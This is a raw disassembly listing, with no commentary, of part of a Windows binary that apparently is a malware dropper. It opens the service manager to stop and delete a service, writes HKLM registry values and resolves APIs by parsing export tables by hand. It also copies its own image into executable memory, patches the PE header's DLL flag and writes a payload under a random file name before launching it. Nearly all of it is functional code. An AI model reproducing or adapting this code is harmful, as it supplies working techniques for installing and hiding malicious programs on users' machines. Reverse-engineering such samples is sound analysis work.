loc_403717:				; CODE XREF: rdata:00403617j
					; rdata:00403630j
		mov	eax, edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0FF8Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		call	sub_403B20
		xor	edi, edi
		mov	[ebp-4], edi
		push	0F003Fh
		push	edi
		push	edi
		call	ds:dword_41499B
		mov	ebx, eax
		cmp	eax, edi
		jz	short loc_4037C2
		push	0F01FFh
		push	(offset	loc_4146B8+1)
		push	ebx
		call	ds:dword_41499F
		mov	esi, eax
		cmp	eax, edi
		jz	short loc_4037BB
		push	offset dword_41BC04
		push	1
		push	esi
		call	ds:dword_4149A7
		jmp	short loc_40379A
; ---------------------------------------------------------------------------


loc_40376D:				; CODE XREF: rdata:0040379Cj
		push	3E8h
		call	sub_40A212
		push	offset dword_41BC04
		push	esi
		call	ds:dword_4149B7
		lea	ecx, dword_41BC04
		cmp	dword ptr [ecx+4], 1
		jz	short loc_403795
		cmp	dword ptr [ebp-4], 4
		jbe	short loc_403797


loc_403795:				; CODE XREF: rdata:0040378Dj
		jmp	short loc_40379E
; ---------------------------------------------------------------------------


loc_403797:				; CODE XREF: rdata:00403793j
		inc	dword ptr [ebp-4]


loc_40379A:				; CODE XREF: rdata:0040376Bj
		cmp	eax, edi
		jnz	short loc_40376D


loc_40379E:				; CODE XREF: rdata:loc_403795j
		push	3E8h
		call	sub_40A212
		push	esi
		call	ds:dword_4149AF
		cmp	eax, edi
		jz	short loc_4037B4
		inc	edi


loc_4037B4:				; CODE XREF: rdata:004037B1j
		push	esi
		call	ds:dword_4149AB


loc_4037BB:				; CODE XREF: rdata:0040375Bj
		push	ebx
		call	ds:dword_4149AB


loc_4037C2:				; CODE XREF: rdata:00403744j
		mov	eax, edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h
		align 10h
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	edi
		push	esi
		push	ebx
		call	sub_403B20
		xor	edi, edi
		mov	dword ptr [ebp-10h], (offset loc_4146B8+1)
		mov	dword ptr [ebp-0Ch], offset dword_4014E0
		mov	[ebp-8], edi
		mov	[ebp-4], edi
		mov	off_41BC2C, 1
		lea	eax, [ebp-10h]
		push	eax
		call	ds:dword_4149BB
		cmp	eax, edi
		jnz	short loc_403816
		call	sub_40A17C
		call	sub_4099E5
; ---------------------------------------------------------------------------


loc_403816:				; CODE XREF: rdata:0040380Aj
		pop	ebx
		pop	esi


loc_403818:				; DATA XREF: sub_408DC0+1A3o
					; sub_408DC0+1BEo
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		db 5
		align 10h
		dd 0E8535657h, 2F8h, 3F68FF33h,	57000F00h, 9B15FF57h, 8B004149h
		dd 74C73BD8h, 68106A3Ch, 4146B9h, 9F15FF53h, 8B004149h
		dd 74C73BF0h, 56575721h, 49B315FFh, 0C73B0041h,	0EB470374h
		dd 6916E80Ah, 7AE80000h, 56000061h, 49AB15FFh, 0FF530041h
		dd 4149AB15h, 5BC78B00h, 90C35F5Eh, 0E8535657h,	298h, 3F68FF33h
		dd 57000F00h, 9B15FF57h, 8B004149h, 74C73BD8h, 68206A35h
		dd 4146B9h, 9F15FF53h, 8B004149h, 74C73BF0h, 0BC04681Ah
		dd 16A0041h, 0A715FF56h, 3B004149h, 470174C7h, 0AB15FF56h
		dd 53004149h, 49AB15FFh, 0C78B0041h, 0C35F5E5Bh, 24A48Dh
		dd 90000000h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		call	sub_403B20
		xor	edi, edi
		push	offset loc_401540
		push	(offset	loc_4146B8+1)
		call	ds:dword_4149BF
		mov	off_41BC20, eax
		cmp	eax, edi
		jz	short loc_403933
		mov	dword_41BC04, 110h
		mov	off_41BC14, edi
		push	2
		push	3E8h
		call	sub_403970
		cmp	eax, edi
		jz	short loc_403933
		push	4
		push	edi
		call	sub_403970
		call	sub_4099E5
; ---------------------------------------------------------------------------


loc_403933:				; CODE XREF: rdata:00403904j
					; rdata:00403924j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
; ---------------------------------------------------------------------------
		dw 9B8Dh
		align 10h
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		cmp	dword ptr [ebp+8], 1
		jnz	short loc_403959
		push	off_41BC3C


loc_403952:				; DATA XREF: sub_421405+16w
					; sub_421941+53r
		call	sub_40A1FA
		jmp	short loc_403966
; ---------------------------------------------------------------------------


loc_403959:				; CODE XREF: rdata:0040394Aj
		push	off_41BC08
		push	0
		call	sub_403970


loc_403966:				; CODE XREF: rdata:00403957j
		pop	ebx
		pop	esi
		pop	edi
		leave

locret_40396A:				; DATA XREF: sub_421405+88w
					; sub_42151C+36r
		retn	4
; ---------------------------------------------------------------------------
		db 8Dh,	49h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403970	proc near		; CODE XREF: rdata:0040391Dp
					; rdata:00403929p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx


loc_403976:				; DATA XREF: sub_4214D7+3Ew
					; sub_4215FB+121r ...
		call	sub_403B20
		xor	edi, edi
		mov	eax, 1


loc_403982:				; DATA XREF: .data:00420D36w
					; .data:004210C3r ...
		cmp	off_41BC2C, edi
		jz	short loc_4039D4


loc_40398A:				; DATA XREF: .data:00420E8Ew
					; .data:00420F89w ...
		xor	eax, eax
		cmp	[ebp+arg_4], 2
		jz	short loc_403993


loc_403992:				; DATA XREF: sub_4209BFw sub_4209FCw ...
		inc	eax


loc_403993:				; CODE XREF: sub_403970+20j
		mov	off_41BC0C, eax
		push	[ebp+arg_4]
		pop	off_41BC08
		push	[ebp+arg_0]
		pop	dword_41BC1C


loc_4039AA:				; DATA XREF: sub_420909+8w
					; sub_420909+36w ...
		cmp	[ebp+arg_4], 4


loc_4039AE:				; DATA XREF: sub_4211CF+2r
					; sub_421388+4Bw ...
		jnz	short loc_4039BE
		cmp	[ebp+arg_4], 1
		jnz	short loc_4039BE


loc_4039B6:				; DATA XREF: sub_41F78E+51r
		inc	off_41BC18
		jmp	short loc_4039C4
; ---------------------------------------------------------------------------


loc_4039BE:				; CODE XREF: sub_403970:loc_4039AEj
					; sub_403970+44j
					; DATA XREF: ...
		mov	off_41BC18, edi


loc_4039C4:				; CODE XREF: sub_403970+4Cj
		push	offset dword_41BC04
		push	off_41BC20
		call	sub_40A2EA


loc_4039D4:				; CODE XREF: sub_403970+18j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
sub_403970	endp

; ---------------------------------------------------------------------------
		db 5
		align 10h
		dd 33535657h, 46AC68FFh, 9FE80041h, 3B000067h, 8B1D74C7h
		dd 469568D0h, 0E8520041h, 6794h, 0F73BF08Bh, 5FE80A74h
		dd 6A000067h, 0D6FF5001h, 5FD0E8h, 74F73B00h, 674CE809h
		dd 50570000h, 3DE8D6FFh, 57000067h, 67F0E850h, 5E5B0000h
		dd 0A48DC35Fh, 24h, 24A48D00h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFDFCh
		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		push	200h
		lea	eax, [ebp-200h]
		push	eax
		push	edi
		call	sub_40A188
		cmp	eax, edi
		jz	short loc_403ABE
		push	(offset	loc_41467C+1)
		lea	eax, [ebp-200h]
		push	eax
		call	sub_40A248
		lea	eax, [ebp-204h]
		push	eax
		push	(offset	loc_414646+1)
		push	80000002h
		call	sub_40A2BA
		cmp	eax, edi
		jnz	short loc_403AB3
		push	104h
		lea	eax, [ebp-200h]
		push	eax
		push	1
		push	edi
		push	(offset	loc_4146B8+1)
		push	dword ptr [ebp-204h]
		call	sub_40A2E4
		cmp	eax, edi
		jnz	short loc_403AB3
		inc	edi


loc_403AB3:				; CODE XREF: rdata:00403A8Dj
					; rdata:00403AB0j
		push	dword ptr [ebp-204h]
		call	sub_40A2B4


loc_403ABE:				; CODE XREF: rdata:00403A62j
		mov	eax, edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h
		dd 0
		dd 24648Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		lea	eax, [ebp-4]
		push	eax
		push	(offset	loc_414646+1)
		push	80000002h
		call	sub_40A2CC
		cmp	eax, edi
		jnz	short loc_403B0C
		push	(offset	loc_4146B8+1)
		push	dword ptr [ebp-4]
		call	sub_40A2C0
		cmp	eax, edi
		jnz	short loc_403B04
		inc	edi


loc_403B04:				; CODE XREF: rdata:00403B01j
		push	dword ptr [ebp-4]
		call	sub_40A2B4


loc_403B0C:				; CODE XREF: rdata:00403AF0j
		mov	eax, edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		db 8Dh
		dd 24A4h, 9B8D0000h
dword_403B1C	dd 0							; sub_408DC0+22Bo

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B20	proc near		; CODE XREF: rdata:loc_40357Cp
					; rdata:00403729p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		cmp	ds:dword_4148B8, 0
		jnz	short loc_403B85
		push	offset loc_41476C
		call	sub_40A18E
		mov	ebx, eax
		lea	esi, byte_4149C7
		lea	edi, dword_414997
		push	ds:dword_4148B4
		pop	[ebp+var_4]
		jmp	short loc_403B6E
; ---------------------------------------------------------------------------


loc_403B55:				; CODE XREF: sub_403B20+52j
		push	dword ptr [esi]
		push	ebx
		call	sub_40A194
		or	eax, eax
		jnz	short loc_403B63
		jmp	short loc_403B74
; ---------------------------------------------------------------------------


loc_403B63:				; CODE XREF: sub_403B20+3Fj
		mov	[edi], eax
		add	edi, 4
		add	esi, 4
		dec	[ebp+var_4]


loc_403B6E:				; CODE XREF: sub_403B20+33j
		cmp	[ebp+var_4], 0
		jnz	short loc_403B55


loc_403B74:				; CODE XREF: sub_403B20+41j
		mov	eax, [ebp+var_4]
		or	eax, eax
		jnz	short loc_403B85
		mov	ds:dword_4148B8, 1


loc_403B85:				; CODE XREF: sub_403B20+10j
					; sub_403B20+59j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_403B20	endp

; ---------------------------------------------------------------------------
		dw 9B8Dh
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B90	proc near		; CODE XREF: rdata:00403679p

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	edi
		push	esi
		push	ebx
		push	offset loc_41476C
		call	sub_40A18E
		mov	ebx, eax
		push	offset dword_4147BC
		push	ebx
		call	sub_40A194
		mov	dword_41BA98, eax
		or	eax, eax
		jz	loc_403C43
		push	offset word_4147D2
		push	ebx
		call	sub_40A194
		mov	dword_41BA94, eax
		or	eax, eax
		jz	short loc_403C43
		push	offset dword_4147E8
		push	ebx
		call	sub_40A194
		mov	dword_41BA9C, eax
		or	eax, eax
		jz	short loc_403C43
		xor	edi, edi
		mov	[ebp+var_4], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	dword_41BA94
		cmp	eax, edi
		jz	short loc_403C43
		call	sub_40A164
		mov	edx, eax
		lea	eax, [ebp+var_8]
		push	eax
		push	28h
		push	edx
		call	dword_41BA9C
		cmp	eax, edi
		jz	short loc_403C43
		mov	esi, eax
		mov	[ebp+var_18], 1
		mov	[ebp+var_C], 2
		push	edi
		push	edi
		push	edi
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		push	[ebp+var_8]
		call	dword_41BA98
		cmp	eax, edi
		jz	short loc_403C3D
		inc	edi


loc_403C3D:				; CODE XREF: sub_403B90+AAj
		push	esi
		call	sub_40A0FE


loc_403C43:				; CODE XREF: sub_403B90+27j
					; sub_403B90+3Fj ...
		mov	eax, edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_403B90	endp

; ---------------------------------------------------------------------------
		dd 24648Dh, 0FF535657h,	41B78E35h, 9A35FF00h, 0E80041B7h
		dd 6530h, 274C00Bh, 5E5BD0FFh, 0FF8BC35Fh, 0FF535657h
		dd 41B79235h, 9A35FF00h, 0E80041B7h, 6510h, 274C00Bh, 5E5BD0FFh
		dd 0FF8BC35Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		call	sub_403D90
		push	dword_41B78A
		push	dword_41B79A
		call	sub_40A194
		or	eax, eax
		jz	short loc_403CBB
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	eax


loc_403CBB:				; CODE XREF: rdata:00403CAEj
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		dw 0A48Dh
		dd 24h,	24A48D00h, 0
		dd 0FF535657h, 41B78635h, 9A35FF00h, 0E80041B7h, 64B0h
		dd 274C00Bh, 5E5BD0FFh,	0FF8BC35Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		push	dword_41B796
		push	dword_41B79A
		call	sub_40A194
		or	eax, eax
		jz	short loc_403D13
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	eax


loc_403D13:				; CODE XREF: rdata:00403D09j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
; ---------------------------------------------------------------------------
		dw 9B8Dh
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403D20	proc near		; CODE XREF: rdata:00409BDDp
		push	edi
		push	esi
		push	ebx
		mov	edi, dword_41B79E
		mov	esi, edi
		add	esi, [esi+3Ch]
		mov	ebx, [esi+34h]
		lea	esi, [esi+78h]
		mov	edx, [esi]
		add	edx, edi
		mov	eax, [edx+0Ch]
		add	eax, edi
		mov	dword_41B782, eax
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, edi
		lea	esi, word_41B786
		jmp	short loc_403D5F
; ---------------------------------------------------------------------------


loc_403D52:				; CODE XREF: sub_403D20+41j
		mov	eax, [ebx]
		add	eax, edi
		mov	[esi], eax
		add	esi, 4
		add	ebx, 4
		dec	ecx


loc_403D5F:				; CODE XREF: sub_403D20+30j
		or	ecx, ecx
		jnz	short loc_403D52
		push	dword_41B782
		call	sub_40A18E
		or	eax, eax
		jnz	short loc_403D7D
		push	dword_41B782
		call	sub_40A1CA


loc_403D7D:				; CODE XREF: sub_403D20+50j
		mov	dword_41B79A, eax
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_403D20	endp

; ---------------------------------------------------------------------------
		dw 0A48Dh
		dd 24h,	498D00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403D90	proc near		; CODE XREF: rdata:00403C96p

var_38C		= dword	ptr -38Ch
var_388		= dword	ptr -388h
var_384		= byte ptr -384h
var_258		= byte ptr -258h
var_12C		= byte ptr -12Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFC74h
		push	edi
		push	esi
		push	ebx
		push	offset loc_41450E
		push	1
		push	0
		call	sub_40A11C
		mov	dword_41B7A2, eax
		call	sub_40A17C
		or	eax, eax
		jnz	loc_403E90
		push	dword_41B7A2
		call	sub_40A0FE
		push	12Ch
		lea	eax, [ebp+var_384]
		push	eax
		push	dword_41B79E
		call	sub_40A188
		push	12Ch
		lea	eax, [ebp+var_12C]
		push	eax
		call	sub_40A19A
		lea	ecx, [ebp+var_12C]
		cmp	byte ptr [eax+ecx-1], 5Ch
		jz	short loc_403E02
		mov	word ptr [eax+ecx], 5Ch


loc_403E02:				; CODE XREF: sub_403D90+6Aj
		lea	eax, [ebp+var_12C]
		push	eax
		push	(offset	loc_414780+4)
		lea	eax, [ebp+var_258]
		push	eax
		call	sub_40A0F2
		add	esp, 0Ch
		lea	eax, [ebp+var_38C]
		push	eax
		lea	eax, [ebp+var_388]
		push	eax
		lea	eax, [ebp+var_384]
		push	eax
		call	sub_403F60
		mov	edi, [ebp+var_388]
		cmp	word ptr [edi],	5A4Dh
		jnz	short loc_403E55
		add	edi, [edi+3Ch]
		cmp	dword ptr [edi], 4550h
		jnz	short loc_403E55
		xor	word ptr [edi+16h], 2000h


loc_403E55:				; CODE XREF: sub_403D90+B2j
					; sub_403D90+BDj
		push	[ebp+var_38C]
		push	[ebp+var_388]
		lea	eax, [ebp+var_258]
		push	eax
		call	sub_403EB0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403E7E
		lea	eax, [ebp+var_258]
		push	eax
		call	sub_403F10


loc_403E7E:				; CODE XREF: sub_403D90+E0j
		push	8000h
		push	0
		push	[ebp+var_388]
		call	sub_40A230


loc_403E90:				; CODE XREF: sub_403D90+26j
		push	dword_41B7A2
		call	sub_40A0FE
		xor	eax, eax
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_403D90	endp

; ---------------------------------------------------------------------------
		dw 0A48Dh
		dd 24h,	24A48D00h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403EB0	proc near		; CODE XREF: sub_403D90+D8p
					; sub_403FF0+11Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	edi
		push	esi
		push	ebx
		push	0
		push	80h
		push	4
		push	0
		push	3
		push	40000000h
		push	[ebp+arg_0]
		call	sub_40A110
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403F02
		mov	[ebp+var_4], eax
		push	0
		push	0
		push	0
		push	[ebp+var_4]
		call	sub_40A206
		push	0
		push	esp
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_40A242
		push	[ebp+var_4]
		call	sub_40A0FE


loc_403F02:				; CODE XREF: sub_403EB0+26j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
sub_403EB0	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F10	proc near		; CODE XREF: sub_403D90+E9p

var_54		= dword	ptr -54h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFACh
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_54]
		mov	ecx, 44h
		rep stosb
		mov	[ebp+var_54], 44h
		xor	edx, edx
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		push	edx
		push	edx
		push	edx
		push	edx
		push	edx
		push	edx
		push	[ebp+arg_0]
		push	edx
		call	sub_40A122
		push	[ebp+var_10]
		call	sub_40A0FE
		push	[ebp+var_C]
		call	sub_40A0FE
		pop	edi
		leave
		retn	4
sub_403F10	endp

; ---------------------------------------------------------------------------
		dd 24A48Dh, 90000000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F60	proc near		; CODE XREF: sub_403D90+A2p
					; sub_403FF0+A0p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	edi
		push	esi
		push	ebx
		mov	ebx, 0FFFFFFFFh
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		push	[ebp+arg_0]
		call	sub_40A110
		mov	[ebp+var_4], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403FDD
		push	0
		push	[ebp+var_4]
		call	sub_40A176
		mov	[ebp+var_8], eax
		push	40h
		push	1000h
		push	[ebp+var_8]
		push	0
		call	sub_40A22A
		or	eax, eax
		jz	short loc_403FDD
		mov	edi, eax
		or	eax, eax
		jz	short loc_403FDD
		mov	ecx, [ebp+arg_4]
		mov	[ecx], edi
		push	0
		push	esp
		push	[ebp+var_8]
		push	edi
		push	[ebp+var_4]
		call	sub_40A1E8
		push	[ebp+var_4]
		call	sub_40A0FE
		mov	ecx, [ebp+arg_8]
		mov	eax, [ebp+var_8]
		mov	[ecx], eax
		inc	ebx


loc_403FDD:				; CODE XREF: sub_403F60+2Ej
					; sub_403F60+50j ...
		mov	eax, ebx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
sub_403F60	endp

; ---------------------------------------------------------------------------
		dw 0A48Dh
		dd 24h,	498D00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FF0	proc near		; CODE XREF: rdata:004043E5p

var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= byte ptr -4B0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFB40h
		push	edi
		push	esi
		push	ebx
		push	offset byte_414795
		push	0
		push	4
		call	sub_40A1E2
		or	eax, eax
		jz	short loc_404068
		mov	[ebp+var_4BC], eax
		push	0
		push	0
		push	0
		push	4
		push	[ebp+var_4BC]
		call	sub_40A1DC
		mov	[ebp+var_4C0], eax
		mov	ecx, [eax]
		mov	[ebp+var_4B8], ecx
		add	eax, 4
		mov	edi, eax
		push	40h
		push	1000h
		push	[ebp+var_4B8]
		push	0
		call	sub_40A22A
		mov	[ebp+var_4B4], eax
		push	[ebp+var_4B8]
		push	edi
		push	[ebp+var_4B4]
		call	sub_40F5BF
		jmp	short loc_404095
; ---------------------------------------------------------------------------


loc_404068:				; CODE XREF: sub_403FF0+1Cj
		push	258h
		lea	eax, [ebp+var_4B0]
		push	eax
		push	0
		call	sub_40A188
		lea	eax, [ebp+var_4B8]
		push	eax
		lea	eax, [ebp+var_4B4]
		push	eax
		lea	eax, [ebp+var_4B0]
		push	eax
		call	sub_403F60


loc_404095:				; CODE XREF: sub_403FF0+76j
		mov	edi, [ebp+var_4B4]
		cmp	word ptr [edi],	5A4Dh
		jnz	short loc_4040B3
		add	edi, [edi+3Ch]
		cmp	dword ptr [edi], 4550h
		jnz	short loc_4040B3
		or	word ptr [edi+16h], 2000h


loc_4040B3:				; CODE XREF: sub_403FF0+B0j
					; sub_403FF0+BBj
		mov	edi, [ebp+var_4B4]
		mov	esi, edi
		add	esi, [esi+3Ch]
		mov	ebx, [esi+34h]
		lea	esi, [esi+78h]
		mov	eax, [esi]
		push	eax
		push	edi
		call	sub_404130
		add	eax, edi
		mov	eax, [eax+0Ch]
		push	eax
		push	edi
		call	sub_404130
		add	edi, eax
		push	edi
		call	sub_40A266
		push	eax
		push	0
		push	edi
		call	sub_40F5F0
		push	[ebp+arg_0]
		push	edi
		call	sub_40A25A
		push	[ebp+arg_4]
		call	sub_4041A0
		push	[ebp+var_4B8]
		push	[ebp+var_4B4]
		push	[ebp+arg_4]
		call	sub_403EB0
		push	8000h
		push	0
		push	[ebp+var_4B4]
		call	sub_40A230
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
sub_403FF0	endp

; ---------------------------------------------------------------------------
		dd 24A48Dh, 90000000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404130	proc near		; CODE XREF: sub_403FF0+D8p
					; sub_403FF0+E4p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		pusha
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		mov	ecx, [esi+3Ch]
		add	esi, ecx
		movzx	eax, word ptr [esi+6]
		mov	[ebp+var_8], eax
		add	esi, 0F8h
		mov	ebx, esi
		add	ebx, 28h
		jmp	short loc_404185
; ---------------------------------------------------------------------------


loc_404156:				; CODE XREF: sub_404130+59j
		mov	ecx, [esi+0Ch]
		mov	eax, [ebx+0Ch]
		cmp	edi, ecx
		jb	short loc_40416C
		cmp	edi, eax
		jnb	short loc_40416C
		sub	edi, [esi+0Ch]
		add	edi, [esi+14h]
		jmp	short loc_40418B
; ---------------------------------------------------------------------------


loc_40416C:				; CODE XREF: sub_404130+2Ej
					; sub_404130+32j
		cmp	edi, ecx
		jbe	short loc_40417C
		cmp	edi, eax
		ja	short loc_40417C
		sub	edi, [ebx+0Ch]
		add	edi, [ebx+14h]
		jmp	short loc_40418B
; ---------------------------------------------------------------------------


loc_40417C:				; CODE XREF: sub_404130+3Ej
					; sub_404130+42j
		add	ebx, 28h
		add	esi, 28h
		dec	[ebp+var_8]


loc_404185:				; CODE XREF: sub_404130+24j
		cmp	[ebp+var_8], 0
		jnz	short loc_404156


loc_40418B:				; CODE XREF: sub_404130+3Aj
					; sub_404130+4Aj
		mov	[ebp+var_4], edi
		popa
		mov	eax, [ebp+var_4]
		leave
		retn	8
sub_404130	endp

; ---------------------------------------------------------------------------
		dw 0A48Dh
		dd 24h,	498D00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041A0	proc near		; CODE XREF: sub_403FF0+106p

var_2F4		= dword	ptr -2F4h
var_2EE		= byte ptr -2EEh
var_2BC		= byte ptr -2BCh
var_258		= byte ptr -258h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFD0Ch
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_2F4], 0
		push	12Ch
		lea	eax, [ebp+var_258]
		push	eax
		call	sub_40A19A
		lea	ecx, [ebp+var_258]
		cmp	byte ptr [eax+ecx-1], 5Ch
		jz	short loc_4041DA
		mov	word ptr [eax+ecx], 5Ch


loc_4041DA:				; CODE XREF: sub_4041A0+32j
		lea	eax, [ebp+var_2EE]
		push	eax
		call	sub_40A27E
		mov	esi, 8
		lea	ebx, loc_414611+1
		lea	edi, [ebp+var_2BC]
		jmp	short loc_40421E
; ---------------------------------------------------------------------------


loc_4041F9:				; CODE XREF: sub_4041A0+80j
		lea	edx, [ebp+var_2EE]
		mov	eax, [ebp+var_2F4]
		lea	eax, [eax+edx]
		mov	eax, [eax]
		xor	edx, edx
		mov	ecx, 1Ah
		div	ecx
		mov	al, dl
		xlat
		stosb
		dec	esi
		inc	[ebp+var_2F4]


loc_40421E:				; CODE XREF: sub_4041A0+57j
		or	esi, esi
		jnz	short loc_4041F9
		lea	eax, [ebp+var_2BC]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	offset byte_4147F9
		push	[ebp+arg_0]
		call	sub_40A0F2
		add	esp, 10h
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_4041A0	endp

; ---------------------------------------------------------------------------
		db 8Dh
		dd 24A4h, 0FF8B0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404250	proc near		; CODE XREF: rdata:004043F1p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		push	edi
		push	80h
		push	3
		push	edi
		push	edi
		push	0C0000000h
		push	[ebp+arg_0]
		call	sub_40A110
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4042F3
		mov	[ebp+var_4], eax
		push	edi
		push	edi
		push	edi
		push	4
		push	edi
		push	[ebp+var_4]
		call	sub_40A116
		mov	[ebp+var_8], eax
		push	edi
		push	edi
		push	edi
		push	0F001Fh
		push	[ebp+var_8]
		call	sub_40A1DC
		mov	[ebp+var_C], eax
		push	edi
		push	[ebp+var_4]
		call	sub_40A176
		mov	[ebp+var_10], eax
		mov	[ebp+var_18], edi
		mov	[ebp+var_14], edi
		mov	esi, [ebp+var_C]
		add	esi, [esi+3Ch]
		mov	[esi+58h], edi
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		call	sub_40A278
		mov	eax, [ebp+var_18]
		mov	[esi+58h], eax
		push	edi
		push	[ebp+var_C]
		call	sub_40A158
		push	[ebp+var_C]
		call	sub_40A224
		push	[ebp+var_8]
		call	sub_40A0FE
		push	[ebp+var_4]
		call	sub_40A0FE


loc_4042F3:				; CODE XREF: sub_404250+25j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_404250	endp

; ---------------------------------------------------------------------------
		dw 9B8Dh
		align 10h
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFF628h
		push	edi
		push	esi
		push	ebx
		lea	eax, [ebp-4]
		push	eax
		push	0F003Fh
		push	0
		push	offset word_414802
		push	80000000h
		call	sub_40A2D2
		xor	esi, esi


loc_404328:				; CODE XREF: rdata:00404427j
		mov	dword ptr [ebp-9D8h], 258h
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp-9D8h]
		push	eax
